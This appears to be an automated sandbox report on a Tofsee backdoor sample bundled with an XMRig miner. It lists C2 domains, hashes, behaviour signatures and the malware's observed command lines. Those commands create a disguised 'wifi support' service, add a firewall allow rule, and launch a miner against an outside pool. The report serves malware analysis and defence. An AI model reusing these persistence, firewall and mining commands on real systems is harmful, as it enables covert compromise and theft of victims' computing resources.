Analysis

  • max time kernel
    159s
  • max time network
    166s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/11/2022, 22:29

General

  • Target
    file.exe
  • Size 184KB
  • Sample221130-2d9cbsec6w
  • SHA256 16eb3c1becb1cadc6ceac24e81d8db4cd67c3f4dbccb7aedd4c174a678441c4a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2392
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\adylazsp\
      2⤵
        PID:4960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\khbczhxe.exe" C:\Windows\SysWOW64\adylazsp\
        2⤵
          PID:2336
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create adylazsp binPath= "C:\Windows\SysWOW64\adylazsp\khbczhxe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description adylazsp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2376
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start adylazsp
          2⤵
          • Launches sc.exe
          PID:2136
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3396
      • C:\Windows\SysWOW64\adylazsp\khbczhxe.exe
        C:\Windows\SysWOW64\adylazsp\khbczhxe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3260
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4572
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1160

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            khbczhxe.exe

            • Path C:\Users\Admin\AppData\Local\Temp\khbczhxe.exe
            • Size 11.2MB
            • SHA256 f1909b8ecd9bd81710ad0124031d289133a64a9b665aa88be93c070e11a421cd
            • MD5 SHA1 SHA512 SSDEEP

            khbczhxe.exe

            • Path C:\Windows\SysWOW64\adylazsp\khbczhxe.exe
            • Size 11.2MB
            • SHA256 f1909b8ecd9bd81710ad0124031d289133a64a9b665aa88be93c070e11a421cd
            • MD5 SHA1 SHA512 SSDEEP

            memory/1160-171-0x0000000001000000-0x00000000010F1000-memory.dmp

            memory/1160-176-0x0000000001000000-0x00000000010F1000-memory.dmp

            memory/2392-134-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/2392-143-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/2392-132-0x000000000074D000-0x000000000075D000-memory.dmp

            memory/2392-133-0x0000000000700000-0x0000000000713000-memory.dmp

            memory/3260-149-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/3260-146-0x00000000007B9000-0x00000000007C9000-memory.dmp

            memory/4572-151-0x00000000007E0000-0x00000000007F5000-memory.dmp

            memory/4572-152-0x0000000002600000-0x000000000280F000-memory.dmp

            memory/4572-155-0x0000000000DB0000-0x0000000000DB6000-memory.dmp

            memory/4572-158-0x0000000000DD0000-0x0000000000DE0000-memory.dmp

            memory/4572-161-0x0000000000DE0000-0x0000000000DE5000-memory.dmp

            memory/4572-164-0x0000000007600000-0x0000000007A0B000-memory.dmp

            memory/4572-167-0x0000000000DF0000-0x0000000000DF7000-memory.dmp

            memory/4572-150-0x00000000007E0000-0x00000000007F5000-memory.dmp

            memory/4572-145-0x00000000007E0000-0x00000000007F5000-memory.dmp